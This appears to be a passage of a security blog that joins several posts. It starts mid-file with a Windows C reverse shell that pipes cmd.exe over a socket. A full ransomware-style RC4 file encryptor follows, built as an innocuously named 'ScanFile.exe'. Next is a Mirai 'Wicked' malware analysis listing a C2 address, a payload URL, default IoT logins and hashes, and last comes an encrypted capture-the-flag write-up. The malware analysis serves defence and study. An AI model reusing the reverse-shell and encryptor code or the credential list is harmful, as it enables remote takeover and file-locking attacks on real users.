    WSAConnect(mainSocket, (SOCKADDR*)&connectionAddress, sizeof(connectionAddress), NULL, NULL, NULL, NULL);

    // process info
    // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow
    memset(&startupInfo,0, sizeof(startupInfo));    // load empty struct into memory
    startupInfo.cb = sizeof(startupInfo);           // struct size
    startupInfo.dwFlags = STARTF_USESTDHANDLES;      // additional info to in, out, err handles
    // most important line, this sets the input, output and error streams to go through the socket
    startupInfo.hStdInput = startupInfo.hStdOutput = startupInfo.hStdError = (HANDLE) mainSocket;

    // spawn cmd shell, sending streams over socket
    // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo);
    exit(0);
}

File Encryption

I made a few changes to the original source code that allow the file to be passed as a parameter, and also allow the output filename to be dynamic using the original + a encrypted extension, such as many popular ransomware varieties do. This bare-bones first pass does not allow for decrypting and simply encrypts using RC4:

/*
 * Example File Encryption
 * 18 Jan 2025
 * Eric
 * To build: i686-w64-mingw32-g++ 01_encrypt.c -o ScanFile.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
*/

#include <windows.h>
#include <wincrypt.h>
#include <string.h>
#include <stdio.h>

#pragma comment(lib, "crypt32.lib")

void encrypt_file(LPCWSTR filename) {
  // buffer to hold the plaintext and the ciphertext
  BYTE buffer[1024];
  DWORD bytesRead, bytesWritten;

  printf("Add encryption extension.\n");
  // encryption settings
  LPCWSTR enc_extension = L".enc";

  // length of original filename
  size_t filename_length = wcslen(filename);
  size_t new_extension_length = wcslen(enc_extension);

  wchar_t encrypted_filename[MAX_PATH]; // allocate space for new

  // copy original filename to buffer
  wcscpy(encrypted_filename, filename);
  // cat new extension
  wcscat(encrypted_filename, enc_extension);

  // open the original file, and create the new encrypted file
  printf("Get file handles.\n");
  HANDLE originalFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE newFile = CreateFileW(encrypted_filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  // Get a handle to the CSP
  HCRYPTPROV hProv;
  CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);

  // Generate the session key
  HCRYPTKEY hKey;
  CryptGenKey(hProv, CALG_RC4, CRYPT_EXPORTABLE, &hKey);

  // Read the plaintext file, encrypt the buffer, then write to the new file
  printf("Encrypt file contents.\n");
  while(ReadFile(originalFile, buffer, sizeof(buffer), &bytesRead, NULL) && bytesRead > 0) {
    CryptEncrypt(hKey, 0, bytesRead < sizeof(buffer), 0, buffer, &bytesRead, sizeof(buffer));
    WriteFile(newFile, buffer, bytesRead, &bytesWritten, NULL);
  }

  // Clean up
  printf("Clean up.\n");
  CryptReleaseContext(hProv, 0);
  CryptDestroyKey(hKey);
  CloseHandle(originalFile);
  CloseHandle(newFile);
}

int main(int argc, char *argv[]) {
    // check to see if a filename is passed as an arg
    if (argc < 2) {
        printf("Error: No filename provided.\n");
        return 1;
    }

    // convert char arg into LPCWSTR
    char* filename = argv[1];
    int size = MultiByteToWideChar(CP_ACP, 0, filename, -1, NULL, 0);
    wchar_t* wstr = new wchar_t[size];
    MultiByteToWideChar(CP_ACP, 0, filename, -1, wstr, size);

    // if so, encrypt it
    encrypt_file(wstr);
    return 0;
}

Malware Analysis - Mirai Wicked Sample - 9Jan2025

2025-01-11T21:03:17-05:00

Analysis of a sample from Malware bazaar: MalwareBazaar | SHA256 a01d53662d83c31a5b4478bc57fc4fee1ba9d4f6178a94a107c472133adea368 (Mirai)

Stage 1

The initial download is a linux script in cleartext with comments in Chinese. I have added english translations in brackets for each comment. This script connects to a server in order to download 13 binaries, one for each type of processor. Props to the author of the script for doing least privilege and only granting execution privs. It then attempts to run the binary with a command such as ./x86 x86.test?

Static Analysis of arm7

I initially tried the x86 binary, which essentially just had an infinite loop that appeared to do nothing:

The arm7 binary is significantly bigger. Opening it inside of Ghidra provides a number of more functions and non-encrypted strings and encrypted strings that seem to be a part of a table. arm7 is a processor used in the late 90s, and Mirai is known to try and control devices to add them to their botnet.

An interesting note is that comments remain from the compilation of the program from c, including the username of the user who built it, landley:

strings view

The main function of the application setups up a srv_addr matrix and calls a table_init() to store important information. Many of the strings here are obfuscated and or encrypted. It also calls attack_init(), ioctl_keepalive(), scanner_init() and killer_init().These functions respectively setup the paths for DOS/flood attacks, used for preventing the system from hanging, scanning for available machines to compromise, and kill services via port.

There are several methods for attack as listed in the functions pane, the attack_init goes down the list through multiple different types.

XOR Brute Force in Cyber Chef found the key for several encrypted strings seen in the binary, 37. we can take these strings into cyberchef to return them. For example. SRQVB[C resolves to default. The scanner class is used for attempting to find possible default credentials to further compromise more devices. Here is a view of all the options with passwords. default:default, admin:admin, root:vizxv, bin:0000, adm:0000, root:default, root:root, root:admin, root:1001chin, root:D13hh[, root:ZLXX, root:xc3511, root:5up.

You can find an almost decade old source code dump of Mirai on GitHub, here. While there are some differences, such as generating the table, other aspects of the source code are virtually identical to this repo. It shows a check for debuggers, and if one is present, the table is not unlocked.

One string when XORd back with 37 returns /bin/busybox WICKED. Wicked is variant of Mirai, typically targeting IoT devices.

Many other notable strings after being XORd show the creation of things such as the POST request. It mentions a server: dos arrest and server: cloudflare-nginx as headers. There are some unusual strings, and one profane string before the remainder of them seem to be unintelligible, or under another level of encryption:

Several of these strings can be seen under the original Table.h source code.

There's also a 1337C0D3 key found here under the unlock function that uses that with a series of XOR operations to further decrypt certain addresses.

Dynamic Analysis

Using ps -e we can see strange process names. Re-running the binary confirms the name randomly generates:

During the execution, it shows connecting back to the original IP over port 5555. This CNC appears like this if you connect via telnet and requests a username and password.

My VM hangs on this stage and is in a constant loop of reaching out to the CNC server on port 5555.

VirusTotal's sandbox shows after connection to the CNC server, it proceeds to connect to over 300 connections for devices via port 23 or 2323.

Indicators

IP

45.221.96[.]37

URLs

hxxp://45.221.96[.]37/bins

telnet[:]//45.221.96[.]37:5555

SHA256

1eedc607dad9447de65c6cec87a5056061f93c4a9613bd1b2490e516850ebb40 - arm5
2819286d2a3bbd3eaf053b76d8fa793b6b083e644749dcaae8989a1c2c0c7074 - arm
32fbcfdd4e3a032cf3d10c8b32eb395ca3ad286f29d4f355ccfe43c7d1e88e8e - ppc
43f5ff4d7772f1971762b6bb9b07f9a312047137c25af58ec3c357f59a5211eb - arm6
4a36a56a5cb80c758d167025a7d24729ef46a05c7eb7b1b98517f9d330bcc934 - arm7
906b9479702bc85c78b47cfda8458df2de676d2ba44bfdecf9d2567b50ea731e - mpsl
98a4cade937c06972cc9fea3ae709671a184a521663b455916d522d4b5d0b0a0 - m68k
b2e20a0872c5655d8cfdaf04af712dff9b9ce73c26caad5c039280fc738cfd33 - spc
b9782775086aa0d972edb1c8977cbf85ee0787a772ba5600e5e478e98ce36ea7 - mips
bd79770c08676da572634233061f4f821b89cc182853a2e5bc9a0abfd9cd9514 - x86
c6cd8c56a159ac440c807f8576d39a60462d62db9c054bf11e306fb9ebf4ce42 - sh4
f0c5e09caedea9ee5cebf2366a680ad0590cb2024e7afc062d6cdf955eec8105 - arc

MD5

81bdfcae2e518a8e9201cf6bc30c98f3 - arm5
85a550d202cbe94c5bf8ed43e69ea2bb - arm
e3abfa6136b6004687eecee5bed69cbe - ppc
cc9580a4aa490b6609747aa8fc9d1360 - arm6
48e2be001db9a4da901886e00f564d43 - arm7
bd4abf664c56da6754d883fac2d22019 - mpsl
6a761808fd9ef943bc91d8da695b2ea8 - m68k
44be1b5c620f650463152013a174350c - spc
bdc77d8814dc759983a3d76c17614161 - mips
5e76a63da5729d3a5f83f4ccdbe79374 - x86
5abe6eb7b40a7e84a4878c6b04f68b88 - sh4
b00d1adf1347139583c76f5df80dbe76 - arc

[Encrypted] HackTheBox - Sherlock - Lovely Malware

2025-01-08T03:19:22-05:00

LNuF9cBhy0wEdSUeRQ0w/w==;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